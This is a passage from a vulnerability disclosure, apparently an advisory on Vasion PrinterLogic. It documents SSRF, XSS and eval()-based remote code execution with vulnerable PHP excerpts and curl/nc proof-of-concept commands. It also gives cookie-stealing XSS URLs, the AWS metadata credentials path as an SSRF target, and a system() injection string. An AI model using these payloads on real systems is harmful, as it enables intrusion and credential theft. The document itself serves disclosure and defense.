    ./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, 
$xrxUrl );
    ./app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_URL, 
$xrxUrl);
    ./app/Helpers/XeroxSOAPHelper.php:        curl_setopt( $ch, CURLOPT_URL, 
$xrxUrl );
    ./app/Helpers/XeroxSOAPHelper.php:        curl_setopt($ch, CURLOPT_URL, 
$url);
    ./app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_URL, 
$xrxUrl);
    ./app/Helpers/ToshibaSoapHelpers.php:        curl_setopt($ch, CURLOPT_URL, 
$xrxUrl);
    ./app/Helpers/HPSoapHelper.php:        curl_setopt($ch, CURLOPT_URL, 
$sendUrl);
    ./lib/common/aws/lib/requestcore/requestcore.class.php:         
curl_setopt($curl_handle, CURLOPT_URL, $this->request_url);
    ./console_release/xerox/xerox_auth_soap_server_0.php:    curl_setopt($ch, 
CURLOPT_URL, $XRX_URL);
    ./console_release/xerox/xerox_auth_soap_server_0.php:        
curl_setopt($ch, CURLOPT_URL, $XRX_URL);
    ./console_release/xerox/installApp.php:    curl_setopt($ch, CURLOPT_URL, 
$url);
    ./console_release/xerox/removeApp.php:        curl_setopt($ch, CURLOPT_URL, 
$url);
    ./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_URL, $XRX_URL );
    ./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_URL, $XRX_URL );
    ./console_release/xerox/xerox_soap_helper.php:    curl_setopt($ch, 
CURLOPT_URL, $XRX_URL);
    ./console_release/xerox/xerox_soap_helper.php:    curl_setopt( $ch, 
CURLOPT_URL, $XRX_URL );
    ./console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_URL, $XRX_URL);
    ./console_release/toshiba/toshiba_soap_helper.php:    curl_setopt($ch, 
CURLOPT_URL, $XRX_URL);
    ./console_release/common/cpa_helper_functions.php:    curl_setopt( $ch, 
CURLOPT_URL, $url );
    ./console_release/hp/installApp.php:    curl_setopt($ch, CURLOPT_URL, $url);
    ./console_release/hp/hp_soap_helper.php:                curl_setopt($ch, 
CURLOPT_URL, $sendUrl);
    ./console_release/lexmark/update.php:            curl_setopt($ch, 
CURLOPT_URL, 'ftp://' . $this_vo->str_host_address . '/printerlogic.fls');
    ./console_release/lexmark/update.php:        curl_setopt($ch, CURLOPT_URL, 
'ftp://' . $this_vo->str_host_address . '/printerlogic.ucf');
    ./console_release/lexmark/installSettings.php:        curl_setopt($ch, 
CURLOPT_URL, 'ftp://' . $printer_vo->str_host_address . '/printerlogic.ucf');
    ./console_release/lexmark/installApp.php:curl_setopt( $ch, CURLOPT_URL, 
'ftp://' . $printer_vo->str_host_address . '/printerlogic.fls' );
    ./console_release/fast_release/elatec_tcpconv2.php:        
curl_setopt($ch_check, CURLOPT_URL, "http://"; . $elatec->ip_address . 
":81/pages/setup_usb.php");
    ./console_release/fast_release/elatec_tcpconv2.php:        curl_setopt($ch, 
CURLOPT_URL, "http://"; . $elatec->ip_address . ":81/cgi-bin/setup_usb.py");
    ./console_release/fast_release/elatec_tcpconv2.php:            
curl_setopt($ch2, CURLOPT_URL, "http://"; . $elatec->ip_address . 
":81/cgi-bin/reboot.py");
    ./console_release/samsung/samsung_rest_helper.php:  curl_setopt($ch, 
CURLOPT_URL, $XRX_URL);
    ./console_release/samsung/list_apps.php:  curl_setopt( $ch, CURLOPT_URL, 
"http://"; . $printer_vo->str_host_address . "/era/applications" );
    ./console_release/samsung/list_apps.php:    curl_setopt( $ch_app, 
CURLOPT_URL, "http://"; . $printer_vo->str_host_address . "/era/applications/" . 
$attributes["ID"] );
    ./console_release/samsung/get_device_info.php:  curl_setopt( $ch, 
CURLOPT_URL, "http://"; . $printer_vo->str_host_address . 
":8080/ws/v1/tokenmgt/tokenmanager/createtoken" );
    ./console_release/samsung/remove_app.php:       curl_setopt($ch, 
CURLOPT_URL, "http://"; . $printer_vo->str_host_address . "/era/applications");
    ./console_release/samsung/remove_app.php:               
curl_setopt($ch_app, CURLOPT_URL,
    ./console_release/samsung/remove_app.php:                       
curl_setopt($ch_del, CURLOPT_URL,
    ./console_release/km/konicaminolta_soap_helper.php:             
curl_setopt($ch,CURLOPT_URL,$url);
    ./console_release/km/konicaminolta_soap_helper.php:             
curl_setopt($ch, CURLOPT_URL, $url);
    ./console_release/km/konicaminolta_soap_helper.php:             
curl_setopt($ch, CURLOPT_URL, $url);
    ./console_release/km/konicaminolta_soap_helper.php:             
curl_setopt($ch, CURLOPT_URL, $url);
    ./console_release/km/konicaminolta_soap_helper.php:             
curl_setopt($ch, CURLOPT_URL, $url);
    kali%

For example, in the file `/var/ww/app/console_release/xerox/removeApp.php`, a 
HTTPS request will be sent to `$url`. The variable `$url` is made of `https://"; 
. $printer_vo->str_host_address . "/webservices/office/device_configuration/1`.

If `$url` contains a custom domain name or a custom ip followed by a `/?`, then 
a HTTPS request will be sent to this domain name or a custom ip. For example, a 
printer set to `test.com/?` will provide a specific value for `$url`: 
`https://test.com/?/webservices/office/device_configuration/1`. The resulting 
request will be sent to `test.com:443`.

Content of `/var/ww/app/console_release/xerox/removeApp.php`:

[code:php]
  1 <?php
[...]
 26 if( requestint( 'printer_id', 0 ) != 0 )
 27 {
 28     $printer_vo->id = requestint( 'printer_id', 0 );
[...]
 51         $url = "https://"; . $printer_vo->str_host_address . 
"/webservices/office/device_configuration/1";
[...]
 54         $ch = curl_init();
 55         curl_setopt($ch, CURLOPT_URL, $url);
 56         curl_setopt($ch, CURLOPT_POST, true);
 57         curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
 58         curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
 59         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 60         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
 61         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 62         $version_response = "";
 63         try
 64         {
 65             $version_response = curl_exec($ch);
 66             $version_error = curl_error($ch);
 67             if($version_error != "")
[/code]

The second example is available in 
`/var/www/app/console_release/samsung/get_device_info.php`.

Content of `www/app/console_release/samsung/get_device_info.php`:

[code:php]
  1 <?php
[...]
 11 if( requestint( 'printer_id', 0 ) != 0 )
 12 {
 13   $printer_vo->id = requestint( 'printer_id', 0 );
[...]
 35   curl_setopt( $ch, CURLOPT_HTTPHEADER, $header );
 36   curl_setopt( $ch, CURLOPT_POST, true );
 37   curl_setopt( $ch, CURLOPT_URL, "http://"; . $printer_vo->str_host_address 
. ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" );
 38   curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
 39   curl_setopt( $ch, CURLOPT_USERPWD, "$username:$password" );
 40   curl_setopt( $ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );
 41   $response = "";
 42   try
 43   {
 44     $response = curl_exec( $ch );
[...]
 56   $p = xml_parser_create();
 57   xml_parse_into_struct( $p, $response, $vals, $index );
 58   xml_parser_free( $p );
 59   print_r($vals);
 60   echo "\n\n";
 61   print_r($index);
[/code]

The code will blindy do SSRF without authentication:

    kali% curl 
'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'
    
    error = Failed to connect to 10.105.0.239 port 8080: Connection refused
    <BR><BR>Array
    (
    )
    
    
    Array
    (
    )

By providing answers from 10.105.0.239:8080, we are able to print the response.

Basic TCP server running on 10.105.0.239:8080:

    kali# echo "hello\n\nhow are you?\n\n" | nc -l -v -n -p 8080

HTTP request with SSRF, the answer is printed:

    kali% curl 
'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'
    <BR><BR>hello
    
    how are you?
    
    
    Array
    (
    )
    
    
    Array
    (
    )
    kali%

Testing against the SaaS version hosted in AWS works.

SSRF using the payload `159.65.[redacted].[redacted]/?` corresponding to a 
DigitalOcean test VPS:

    kali% curl 
'https://[redacted].printercloud10.com/console_release/samsung/get_device_info.php?printer_id=8'
    < 
    <BR><BR><html>
    <head><title>405 Not Allowed</title></head>
    <body>
    <center><h1>405 Not Allowed</h1></center>
    <hr><center>nginx/1.18.0 (Ubuntu)</center>
    </body>
    </html>
    Array
    (
        [0] => Array
            (
                [tag] => HTML
                [type] => open
                [level] => 1
                [value] => 
    
            )
    
        [1] => Array
            (

The request from AWS appears in the remote server:

    52.65.[redacted].[redacted] - - [11/Feb/2022:10:25:35 +0000] "POST 
/?:8080/ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1" 405 166 "-" "-"

There is also a SSRF in 
`/var/www/app/console_release/lexmark/installSettings.php`.

SSRF using the payload `159.65.[redacted].[redacted]/?`:

    kali% curl -kv 
'https://[redacted].printercloud10.com/console_release/lexmark/installSettings.php?printer_id=8'
 

The requests coming from AWS appear in the remote server:

    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:32 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:33 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:34 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:35 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:36 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:37 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:38 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
    52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:39 +0000] "GET 
/?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"

This can be also used to store XSS and attack administrators by stealing their 
cookies with javascript embedded inside the webpage 
`http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=X` 
if the attacker loses admin access to the solution.

The SSRF attacks described above require administrator privileges but they can 
be used to retrieve credentials provided by AWS meta-data server 
(`http://169.254.169.254/latest/meta-data/iam/security-credentials`) and to 
compromise the entire AWS infrastructure used by all the Vasion PrinterLogic 
customers.

Due to the high number of SSRF vulnerabilities, only a small part was analyzed.



## Details - XSS in /var/www/app/console_release/fast_release/ 
register_badge_new.php

4 different XSS can be found in 
`/var/www/app/console_release/fast_release/register_badge_new.php` in lines 42, 
61, 79 and 80:

Content of `/www/app/console_release/fast_release/register_badge_new.php`:

[code:php]
  1 <?php
[...]
 17     $username = requeststr("username");
 18     $badgeid = requeststr("badgeid");
 19     $action = requeststr("action");
[...]
42                             value="<?php echo $username ?>" disabled />
[...]
61                         <input type="text" id="badge_rfid_data" 
style="width: 100%;" value="<?php echo $badgeid ?>" />
[...]
79             <input type="hidden" id="action" value="<?php echo $action ?>"/>
80             <input type="hidden" id="badge_rfid_data_original" value="<?php 
echo $badgeid ?>"/>
[...]
[/code]

    
https://[redacted].printercloud10.com/console_release/fast_release/register_badge_new.php?username=%22%3E%3Cscript%3Ewindow.alert(%22XSS%22);%3C/script%3E

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

The XSS can be used to steal cookies of administrators and get administrator 
access to the solution.



## Details - XSS in /www/app/admin/design/reports/overview_popup.php and 
Incorrect Access Control

Using the previous Incorrect Access Control to PHP webpages allowing to reach 
printers, it is possible to directly reach 
`/var/www/app/admin/design/reports/overview_popup.php` without authentication.

This PHP code contains several XSS.

Content of `/var/www/app/admin/design/reports/overview_popup.php`:

[code:php]
  1 <?php
[...]
 11 $start_date = requeststr("start_date");
 12 $stop_date = requeststr("stop_date");
 13 $title = 'Print Job Records Overview for ' . $start_date . ' to ' . 
$stop_date;
[/code]

PoCs:

    kali% wget -qO- 
"http://10.105.0.241/admin/design/reports/overview_popup.php?start_date=<XSS1>" 
| grep XSS
        <title>Print Job Records Overview for <XSS1> to </title>
    kali% wget -qO- 
"http://10.105.0.241/admin/design/reports/overview_popup.php?stop_date=<XSS2>" 
| grep XSS
        <title>Print Job Records Overview for  to <XSS2></title>
    kali%

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

    
http://10.105.0.241/admin/design/reports/overview_popup.php?export=1&report_type=Overview+-+All&sort_by=&sort_order=0&page=1&start_date=2022%2F02%2F07%3Cscript%3Ealert(document.cookie)%3C/script%3E&stop_date=2022%2F02%2F07&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=-18000&order=&user_name=%3CXSS2%3E&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_all&job_type=job_type_all&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=TEST-COMPANY&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0&async_database_query_ids[]=dt20220207065229_23092&async_database_query_ids[]=dt20220207065229_23093&async_database_query_ids[]=dt20220207065229_23094&async_database_query_ids[]=dt20220207065229_23095&async_database_query_ids[]=dt20220207065230_23096&async_database_query_ids[]=dt20220207065230_23097&async_database_query_ids[]=dt20220207065230_23098&async_database_query_ids[]=dt20220207065230_23099&async_database_query_ids[]=dt20220207065230_23100&async_database_query_ids[]=dt20220207065230_23101

The same vulnerability in found in the SaaS version:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

    
https://[redacted].printercloud10.com/admin/design/reports/overview_popup.php?export=1&report_type=Overview+-+All&sort_by=&sort_order=0&page=1&start_date=2022%2F02%2F07%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&stop_date=2022%2F02%2F07&start_time=12%3A00+AM&stop_time=11%3A59+PM&time_offset=-18000&order=&user_name=%3CXSS2%3E&job_title=&computer_name=&manager_name=&department_name=&printer_name=&printer_type=printer_type_all&job_type=job_type_all&user_name_wildcard=*&company_name_wildcard=*&job_title_wildcard=*&manager_name_wildcard=*&department_name_wildcard=*&printer_name_wildcard=*&folder_path=TEST-COMPANY&show_tcpip_printers=1&show_usb_printers=1&show_folder_accumulate=0&async_database_query_ids[]=dt20220207065229_23092&async_database_query_ids[]=dt20220207065229_23093&async_database_query_ids[]=dt20220207065229_23094&async_database_query_ids[]=dt20220207065229_23095&async_database_query_ids[]=dt20220207065230_23096&async_database_query_ids[]=dt20220207065230_23097&async_database_query_ids[]=dt20220207065230_23098&async_database_query_ids[]=dt20220207065230_23099&async_database_query_ids[]=dt20220207065230_23100&async_database_query_ids[]=dt20220207065230_23101

Futhermore, this webpage implements non-working authentication - authentication 
is only done at the end of the code, after the entire webpage has been executed 
by PHP.

Content of `/var/www/app/admin/design/reports/overview_popup.php`:

[code:php]
  1 <?php
[...]
 59 <?php
 60 require_once(ABSPATH . "admin/query/audit_records.php");
 61 ?>
 62 </body>
 63 </html>
[/code]

`/www/app/admin/query/audit_records.php` is doing a check of authentication but 
this page is only included at the end of the PHP code, nullifying the 
authentication mechanism:

Content of `/var/www/app/admin/query/audit_records.php`:

[code:php]
  1 <?php
  2 use PrinterLogicLegacy\AuditHelpers;
  3 
  4 require_once ("global.php");
  5 
  6 require_once (ABSPATH . "lib/dao/dbopen.php");
  7 require_once (ABSPATH . "lib/dao/print_stat_dao.php");
  8 
  9 if(!GLOBALS::$login->is_logged_in())
 10 { 
 11         respond_html_expired();
 12         return;
 13 }
[/code]

An attacker can use XSS vulnerabilities to steal administrator's cookies.



## Details - XSS everywhere in /www/app/admin/*

The pages located in the `/var/www/app/admin` directory contain several XSS.

The page `/var/www/app/admin/query/audit_records.php` will retrieve 
attacker-controlled variables from line 15 to line 42 and then will `include 
audit_records_html.php` on line 44.

Content of `/var/www/app/admin/query/audit_records.php`:

[code:php]
  1 <?php
[...]
  9 if(!GLOBALS::$login->is_logged_in())
 10 { 
 11         respond_html_expired();
 12         return;
 13 } 
 14 
 15 $async_database_query_ids = isset($_REQUEST["async_database_query_ids"]) ? 
$_REQUEST["async_database_query_ids"] : null;
 16 $export = requestint("export", 0);
 17 $report_type = requeststr("report_type", "Overview");
 18 $sort_by = requeststr("sort_by");
 19 $sort_order = requestint("sort_order", 1);
 20 $sort_char = "&#x25B" . ($sort_order === 0 ? "C" : "2") . ";"; 
 21 
 22 $page = requestint("page", 1);
 23 $start_date = requeststr("start_date");
 24 $stop_date = requeststr("stop_date");
 25 $start_time = requeststr("start_time");
 26 $stop_time = requeststr("stop_time");
 27 $time_offset = requeststr("time_offset");
 28 
 29 $user_name = requeststr("user_name", null);
 30 $job_title = requeststr("job_title", null);
 31 $computer_name = requeststr("computer_name", null);
 32 $manager_name = requeststr("manager_name", null);
 33 $department_name = requeststr("department_name", null);
 34 $printer_name = requeststr("printer_name", null);
 35 $printer_type = requeststr("printer_type");
 36 $job_type = requeststr("job_type");
 37 
 38 $folder_path = requeststr("folder_path", ""); 
 39 
 40 $show_tcpip_printers = requestint("show_tcpip_printers", 1);
 41 $show_usb_printers = requestint("show_usb_printers", 1);
 42 $show_folder_accumulate = requestint("show_folder_accumulate", 1);
 43 
 44 require_once('audit_records_html.php');
[/code]

4 different XSS `/var/www/app/admin/query/audit_records_html.php`:

Content of `/var/www/app/admin/query/audit_records.php`:
[code:php]
  1 <?php
[...]
  9 if(!GLOBALS::$login->is_logged_in())
 11         case 'overview - paper size':
 12             if (strtolower($report_type) === "overview - all") {
 13                 $title = 'Print Job Records Overview for ' . $start_date . 
' to ' . $stop_date; [1] XSS with $start_date and $stop_date
 14                 print "<h1>{$title}</h1>";                                  
                    [2] XSS with ${title}
 15             }    
 16             require_once ABSPATH . "admin/design/reports/overview_main.php";
 17             break;
 18         case 'records':
 19             require_once ABSPATH . 
"admin/design/reports/print_job_records.php";
 20             break;
 21         case 'user':
 22             $object_name = "User";
 23             require_once ABSPATH . 
"admin/design/reports/print_job_others.php";
 24             break;
 25         case 'manager':
 26             $object_name = "Manager";
 27             require_once ABSPATH . 
"admin/design/reports/print_job_others.php";
 28             break;
 29         case 'department':
 30             $object_name = "Department";
 31             require_once ABSPATH . 
"admin/design/reports/print_job_others.php";
 32             break;
 33         case 'job title':
 34             $object_name = "Job Title";
 35             require_once ABSPATH . 
"admin/design/reports/print_job_others.php";
 36             break;
 37         case 'printer':
 38             $object_name = "Printer";
 39             require_once ABSPATH . 
"admin/design/reports/print_job_others.php";
 40             break;
 41         case 'folder':
 42             $object_name = "Folder";
 43             require_once ABSPATH . 
"admin/design/reports/print_job_folder.php";
 44             break;
 45         default:
 46             echo "Report type is not supported: '$report_type'";            
                   [3] XSS because $report_type = requeststr("report_type", 
"Overview");
 47             break;
[/code]

Then the php files that are included from the `audit_records_html.php` also 
contain XSS:

Content of `/var/www/app/admin/design/reports/print_job_others.php`, with 12 
XSS:

[code:php]
  1 <?php
[...]
 76 $header_params = array(
 77         'report_type' => $report_type,
 78         'start_date' => $start_date,
 79         'start_time' => $start_time,
 80         'stop_date' => $stop_date,
 81         'stop_time' => $stop_time,
 82 );
[...]
208                 report_header($header_params);               [1] 6 XSS
[...]
213         report_header($header_params);                       [6] 6 XSS
[/code]

With the function `report_header()` implemented in 
`/web/www/app/helpers/reports.php`:

[code:php]
  1 <?php
[...]
316 function report_header($params = array()) {
317         $report_type = (isset($params['report_type'])) ? 
$params['report_type'] : '';
318         $start_date = (isset($params['start_date'])) ? 
$params['start_date'] : '';
319         $start_time = (isset($params['start_time'])) ? 
$params['start_time'] : '';
320         $stop_date = (isset($params['stop_date'])) ? $params['stop_date'] : 
'';
321         $stop_time = (isset($params['stop_time'])) ? $params['stop_time'] : 
'';
322
323         $date_range = $start_date . ' ' . $start_time . ' - ' . $stop_date 
. ' ' . $stop_time;
[...]
335                 <h2><?php echo $report_type; ?></h2>         [1] XSS
336                 <h3><?php echo $date_range; ?></h3>          [2] XSS
[/code]

These values are:

- - $report_type = $params['report_type'] = $report_type (print_job_others.php) 
= requeststr("report_type", "Overview"); (audit_records.php)
- - $date_range = $start_date . ' ' . $start_time . ' - ' . $stop_date . ' ' . 
$stop_time;

These 4 variables come from audit_records.php:

Content of `/var/www/app/admin/query/audit_records.php`:
[code:php]
  1 <?php
[...]
 23 $start_date = requeststr("start_date");
 24 $stop_date = requeststr("stop_date");
 25 $start_time = requeststr("start_time");
 26 $stop_time = requeststr("stop_time");
[/code]

Same XSS for `/var/www/app/admin/design/reports/print_job_folder.php`:

Content of `/var/www/app/admin/design/reports/print_job_folder.php`:

[code:php]
  1 <?php
[...]
240 $params = array(
241         'report_type' => $report_type,
242         'start_date' => $start_date,
243         'start_time' => $start_time,
244         'stop_date' => $stop_date,
245         'stop_time' => $stop_time,
[...]
261         report_header($params);  [1] 6 XSS
[...]
266     report_header($params);      [2] 6 XSS
[/code]

Same XSS for `/www/app/admin/design/reports/print_job_records.php`:

Content of `/www/app/admin/design/reports/print_job_records.php`:

[code:php]
  1 <?php
[...]
227 $params = [
228     'report_type' => $report_type,
229     'start_date' => $start_date,
230     'start_time' => $start_time,
231     'stop_date' => $stop_date,
232     'stop_time' => $stop_time,
...
258         report_header($params);   [1] 6 XSS
...
263     report_header($params);       [2] 6 XSS
[/code]

`/var/www/app/admin/design/reports/overview_main.php` will include several 
files depending on the $report_type (attacker-controlled value):

- - admin/design/reports/overview_summary.php
- - admin/design/reports/overview_total_per_week.php
- - admin/design/reports/overview_time_of_day.php
- - admin/design/reports/overview_application_usage.php
- - admin/design/reports/overview_page_count.php
- - admin/design/reports/overview_environmental.php
- - admin/design/reports/overview_color.php
- - admin/design/reports/overview_paper_size.php

This provides some other XSS vulnerabilities:

In `/var/www/admin/design/reports/overview_summary.php`:

[code:php]
  1 <?php
[...]
 32         $params = array(
 33                 'report_type' => $report_type,
 34                 'start_date' => $start_date,
 35                 'start_time' => $start_time,
 36                 'stop_date' => $stop_date,
 37                 'stop_time' => $stop_time,
 38         );
 39         report_header($params);   [1] 6 XSS
[/code]

In `/var/www/admin/design/reports/overview_total_per_week.php`:

[code:php]
  1 <?php
[...]
 51         $params = array(
 52                 'report_type' => $report_type,
 53                 'start_date' => $start_date,
 54                 'start_time' => $start_time,
 55                 'stop_date' => $stop_date,
 56                 'stop_time' => $stop_time,
 57         );
 58         report_header($params);   [1] 6 XSS
[/code]

Same XSS issues in:

- - overview_time_of_day.php
- - overview_application_usage.php
- - overview_page_count.php
- - overview_environmental.php
- - overview_color.php
- - overview_paper_size.php

Other XSS were found in different files:

Content of `/var/www/app/admin/query/audit_auditrecords.php`:

[code:php]
  1 <?php
[...]
 89           var data = {
 90               'validcheck': true,
 91               'report_params': {
 92                   'start_date': '<?= requeststr('start_date') ?>',        
[1] XSS everywhere
 93                   'stop_date': '<?= requeststr('stop_date') ?>',
 94                   'start_time': '<?= requeststr('start_time') ?>',
 95                   'stop_time': '<?= requeststr('stop_time') ?>',
 96                   'time_offset': '<?= requestint('time_offset') * 60 * 60 
?>',
 97                   'object_name': '<?= requeststr('object_name', '') ?>',
 98                   'username': '<?= requeststr('username') ?>',
 99                   'object_type': '<?= requestint('object_type',0) ?>',
100                   'object_id': '<?= requestint('object_id',0) ?>',
101                   'order': '<?= requeststr('order','') ?>',
[/code]

With the function `requeststr()` function implemented in 
`/var/www/app/lib/common/global.inc.php`. Futhermore, `stripslashes()` doesn't 
protect against XSS.

Content of `/var/www/app/lib/common/global.inc.php`:
[code:php]
  1 <?php
[...]
253 if (!function_exists('requeststr'))
254 {
255         function requeststr($str, $def = NULL)
256         {
257                 $r = $def;
258                 if(isset($_GET[$str]))
259                 {
260                         $r = $_GET[$str];
261                         if(quotes_on())
262                         {
263                                 $r = stripslashes($r);
264                         }
265                 }
266                 else if(isset($_POST[$str]))
267                 {
268                         $r = $_POST[$str];
269                         if(quotes_on())
270                         {
271                                 $r = stripslashes($r);
272                         }
273                 }
274                 return $r;
275         }
276 }
[/code]

A trivial exploit of a previous XSS is shown below:

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

http://10.105.0.241/admin/query/audit_auditrecords.php?order='XSS

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

[please use the HTML version at 
https://pierrekim.github.io/blog/2025-04-08-vasion-printerlogic-83-vulnerabilities.html]

    
https://[redacted].printercloud10.com/admin/query/audit_auditrecords.php?order=%27%3C/script%3E%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

`/var/www/app/admin/design/reports/chart_image.php` is also interesting because 
it will blindly trust attacker-controlled data (`$description` and 
`requeststr("title")`). It is recommended to correctly escape them:

Content of `/var/www/app/admin/design/reports/chart_image.php`:

[code:php]
  1 <?php
[...]
50 $description = json_decode(base64_decode(requeststr("datasetdescription")), 
true);
[...]
 82   $chart->drawScale($data, $description, SCALE_NORMAL, 150, 150, 150, true, 
45, 0, true);
[...]
 84   $chart->drawLineGraph($data, $description);
 85   $chart->drawPlotGraph($data, $description, 3, 2, 255, 255, 255);
[...]
 89   $chart->drawBasicPieGraph($data, $description, $width / 2, $height / 2, 
min($width, $height) / 2.6, PIE_PERCENTAGE);
 90   $chart->drawPieLegend($width - $legend_width - 15, 25, $data, 
$description, 250, 250, 250);
[...]
 97   $chart->drawScale(
 98       $data, $description, SCALE_NORMAL, 150, 150, 150, true, 
$x_axis_label_angle, 0, true);
[...]
100   $chart->drawBarGraph($data, $description, 50, true);
101   $chart->drawLegend($width - $legend_width - 30, 45, $description, 250, 
250, 250);



$data also:
 49 $data = json_decode(base64_decode(requeststr("datasetdata")), true);
[...]
 82   $chart->drawScale($data, $description, SCALE_NORMAL, 150, 150, 150, true, 
45, 0, true);
[...]
 84   $chart->drawLineGraph($data, $description);
 85   $chart->drawPlotGraph($data, $description, 3, 2, 255, 255, 255);
[...]
 89   $chart->drawBasicPieGraph($data, $description, $width / 2, $height / 2, 
min($width, $height) / 2.6, PIE_PERCENTAGE);
 90   $chart->drawPieLegend($width - $legend_width - 15, 25, $data, 
$description, 250, 250, 250);
[...]
 97   $chart->drawScale(
 98       $data, $description, SCALE_NORMAL, 150, 150, 150, true, 
$x_axis_label_angle, 0, true);
[...]
100   $chart->drawBarGraph($data, $description, 50, true);
[...]
103 $chart->drawTitle(60, 22, requeststr("title", ""), 50, 50, 50, $width - 
100);
[/code]

The solution includes a large number of XSS, allowing an attacker to steal 
administrator's cookies.

I didn't complete analyzing XSS because the numbers of findings were already 
too big. Consequently, the provided list is not exhaustive.



## Details - Remote Code Executions using eval() - requires administrator 
privileges

The PHP code uses insecure `eval()` with attacker-controlled data. This allows 
an attacker with administrator privileges to get Remote Code Execution on the 
solution.

Content of `/var/www/app/admin/design/addip.php` - the function `ut()` will 
`eval()` attacker-controlled data.

[code:php]
  1 <?php
[...]
217 <?php
218    function ut($prop) {                                       // [1] 
insecure ut() function
219           global $printer_dao,$printer_vo,$search_folder;
220           if(isset($printer_dao)) {
221                         echo "<div class=\"ip-current-val\">";
222                         eval("echo escape_html(".$prop.");"); // [2] a wild 
eval() appears!
223                         echo "</div>";
224           }
225    }
[...]
253                     <?php ut("\$printer_vo->str_title"); ?>   // [3] call 
to ut() with attacker-controlled data
254                     </div>
255                     <div class="form-field">
256                 <label class="ff-label" for="IPAddress">IP Address or 
Hostname:</label>
257                 <br/><input maxlength="128" type='text' id='IPAddress' 
name='IPAddress' class="full-width-textbox"
258                     value="<?php echo escape_attr_html($def_hostaddress); 
?>" onKeyDown="return helper.handle_special_input(event,'add_ip_close');" />
259                 <?php ut("\$printer_vo->str_host_address"); ?> // [4] call 
to ut() with attacker-controlled data
[...]
319                     <?php ut("\$printer_vo->str_comment"); ?>  // [5] call 
to ut() with attacker-controlled data
[...]
344                     <?php ut("\$search_folder"); ?>            // [6] call 
to ut() with attacker-controlled data
[/code]

This code can be escaped with:

    $prop = "'a');system('ls');//"

